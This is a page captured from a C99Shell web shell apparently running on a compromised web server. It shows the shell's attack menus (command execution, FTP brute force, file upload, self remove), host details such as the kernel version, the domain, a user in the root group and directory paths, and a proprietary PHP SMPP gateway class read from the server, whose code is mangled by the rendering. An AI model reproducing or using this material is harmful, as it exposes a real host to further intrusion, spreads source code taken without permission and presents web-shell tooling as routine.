!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_3/app/SmsProvider/   drwxr-xr-x
Free 26.57 GB of 117.98 GB (22.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SmppBuilder.php (5.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\SmsProvider;

use 
App\Events\ProcessSendSuccessEvent;
use 
App\Models\DynamicGateway;
use 
App\Models\SmsQueue;
use 
smpp\{AddressClient as SmppClient,Smpp as SMPPtransport\Socket};
use 
Illuminate\Support\Facades\Log;

class 
SmppBuilder
{

    private 
$messages;
    private 
$send_fail=[];
    private 
$message_log;
    private 
$queue;
    private 
$sms_type//sms or mms
    /**
     * @var mixed
     */
    
private $gateway;

    public function 
setType($type){
        
$this->sms_type=$type;
        return 
$this;
    }
    public function 
setMessages($messages){
        
$this->messages=$messages;
        return 
$this;
    }
    public function 
setGateway(int $gatewayId){
        if(
$gatewayId){
            
$this->gateway=DynamicGateway::find($gatewayId);
        }
        return 
$this;
    }

    public function 
sendMessage()
    {

        
$gateway=$this->gateway;
        if(!
$gateway){
            throw new 
\Exception('gateway not found for smpp');
        }
        
$parameters = [];
        if (
$gateway->inputs) {
            foreach (
json_decode($gateway->inputs) as $key => $gt) {
                
$parameters[$key] = $gt;
            }
        }

        if(!isset(
$parameters['smpp_ip_address']) || !isset($parameters['smpp_username']) || !isset($parameters['smpp_password']) || !isset($parameters['smpp_port'])){
            throw new 
\Exception('Provider Not Configured');
        }

        
$transport = new Socket(array($parameters['smpp_ip_address']),(int) $parameters['smpp_port']);
        
$transport->setRecvTimeout(10000);
        
$transport->setSendTimeout(10000);
        
$transport->debug true;
        
$transport->open();

        
SmppClient::$smsNullTerminateOctetstrings false;
        
Socket::$forceIpv4                        true;
        
SmppClient::$csmsMethod                   SmppClient::CSMS_8BIT_UDH;
        
SmppClient::$smsRegisteredDeliveryFlag    SMPP::REG_DELIVERY_SMSC_BOTH;
        
SmppClient::$smsNullTerminateOctetstrings false;

        
$smpp =new SmppClient($transport);
        
$smpp->bindTransmitter($parameters['smpp_username'], $parameters['smpp_password']);

        
$smsQueues=collect([]);
        foreach(
$this->messages as $queue){
            
$from=$queue->from;
            
$to=str_replace("+","",$queue->to);
            
$body=$queue->body;
            if (
ctype_digit($from) && strlen($from) <= 8) {
                
$from = new Address($fromSMPP::TON_NETWORKSPECIFIC);
            } elseif (
ctype_digit($from) && (strlen($from) <= 15 && strlen($from) >= 10)) {
                
$from = new Address($fromSMPP::TON_INTERNATIONALSMPP::NPI_E164);
            } else {
                
$from = new Address($fromSMPP::TON_ALPHANUMERIC);
            }
    
            
$to = new Address($toSMPP::TON_INTERNATIONALSMPP::NPI_E164);
            
$tags null;
            try{
                
$output $smpp->sendSMS($from$to$body$tags);
                if(
$output){
                    
$smsQueues->push([
                        
'id'=>$queue->id,
                        
'sms_gateway_message_id'=>$output,
                        
'delivered_at'=>now()
                    ]);
                }else{
                    
$this->setSendFail([
                        
'queue_id' => $queue->id,
                        
'customer_id' => $queue->customer_id,
                        
'to' => $queue->to,
                        
'from' => $queue->from,
                        
'sms_count'=>$this->countTotalSms($body),
                        
'reason' => "empty response id",
                    ]);
                }
            }catch(
\Exception $ex){
                
$this->setSendFail([
                    
'queue_id' => $queue->id,
                    
'customer_id' => $queue->customer_id,
                    
'to' => $queue->to,
                    
'from' => $queue->from,
                    
'sms_count'=>$this->countTotalSms($body),
                    
'reason' => $ex->getMessage(),
                ]);
            }
        }
        
// Close connection
       
$smpp->close();
        if(
$smsQueues->isNotEmpty()){
            foreach(
$smsQueues->chunk(100) as $smsQueueChunks){
                
ProcessSendSuccessEvent::dispatch($smsQueueChunks);
            }
        }
        
    }

    public function 
get_failed_sms()
    {
        return 
$this->send_fail;
    }

    private function 
setSendFail($sendFailArray)
    {
        
$this->send_fail[] = $sendFailArray;
    }

    private function 
countTotalSms($requestCharacters){
        
$totalCount=1;
        
$characters=mb_strlen($requestCharacters"UTF-8");
        if (
strlen($requestCharacters) != strlen(utf8_decode($requestCharacters))) {
            if(
$characters && $characters 70){
                
$grandTotal=ceil($characters 70);
                if(
$grandTotal 1)
                    
$totalCount$grandTotal 1;
            }
        }else {
            if(
$characters && $characters 160){
                
$grandTotal=ceil($characters 160);
                if(
$grandTotal 1)
                    
$totalCount$grandTotal;
            }
        }
        return 
$totalCount;
    }
    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--